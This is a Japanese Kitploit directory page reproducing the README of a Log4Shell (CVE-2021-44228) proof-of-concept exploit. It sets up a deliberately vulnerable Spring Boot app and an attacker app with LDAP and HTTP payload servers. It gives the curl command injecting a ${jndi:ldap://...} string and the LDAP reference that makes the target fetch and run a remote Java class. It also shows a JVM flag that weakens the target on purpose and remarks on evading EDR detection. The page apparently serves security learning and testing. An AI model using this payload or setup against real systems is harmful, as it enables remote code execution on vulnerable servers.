Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/spasam/log4j2-exploit
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubspasam/log4j2-exploit

log4j2-exploit

log4j2 Log4Shell CVE-2021-44228 概念実証

リポジトリを見る
24年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Log4Shell CVE-2021-44228 概念実証

要件

  • Java (JDK/JRE) 8 以降のバージョン
  • curl

exploitable

シンプルなSpring Bootアプリケーションで、ユーザー名とパスワードのログインページを提供します。POSTで / に送信されたユーザー名をログに記録します。アプリケーションがユーザー入力のログを記録する必要はありません。脆弱なバージョンのlog4j2を使用するアクセスログを有効にするだけで十分です。

実行方法:

root@kitploit:~
cd exploitable
../mvnw -q spring-boot:run

デフォルトではポート8080でリッスンします。ブラウザで http://localhost:8080/ にアクセスすると、次のような画面が表示されます:

pom.xml にはJVMプロパティが指定されています:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

これは古いバージョンのJDKでは必要ありません。デフォルトは以下のバージョンでfalseに変更されました: JDK 11.0.1、8u191、7u201、6u211。このプロパティがなくても、アプリケーションは初期のLDAPリクエストに対して脆弱であり、機密データが流出する可能性があります。

hacker

ハッカーアプリケーションには2つの目的があります:

  • ポート9090でHTTPサーバーを起動し、脆弱なペイロードを提供します
  • ポート1389でインメモリLDAPサーバーを起動します

実行方法:

root@kitploit:~
cd hacker
../mvnw -q spring-boot:run

pom.xml では、exploitableアプリケーションに送信するデフォルトのペイロードを変更できます:

--class=SayHello がデフォルトで、SayHello.class をペイロードとして送信します。

攻撃方法

ユーザー入力(ユーザー名)のいずれかでハッカーのLDAPサーバーを参照するcurlリクエストをexploitアプリケーションに送信します:

root@kitploit:~
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/

exploitableアプリケーションのコンソールに、次のような出力が表示されます:

内部動作

  • 攻撃者はユーザー入力フィールドの1つに ${jndi:ldap://127.0.0.1:1389} を送信した
  • exploitableアプリケーションに埋め込まれた脆弱なlog4j2が 127.0.0.1:1389 にLDAPリクエストを送信する
  • レスポンスとして以下を受け取る:
    root@kitploit:~
    dn:
    objectClass: javaNamingReference
    javaClassName: SayHello
    javaCodeBase: http://127.0.0.1:9090/
    javaFactory: SayHello
    
  • アプリケーションは http://127.0.0.1:9090/SayHello.class からエクスプロイトペイロードクラスを取得しようとする
  • ハッカーサーバーはバイナリ SayHello.class のバイト列を返す
  • アプリケーションはエクスプロイトクラスの getObjectInstance メソッドを実行する

注意

初期のLDAPリクエストとエクスプロイトJavaクラスのダウンロード後、エクスプロイトがプロセスをフォークしたり、インターネットに追加の接続を行ったりする必要はありません。通常、この種のエクスプロイトはEDR製品などで簡単に検出できます。新しいエクスプロイトペイロードは、検出を回避するためにJavaでネイティブに実装されるだろうと推測しています。

ツールをダウンロード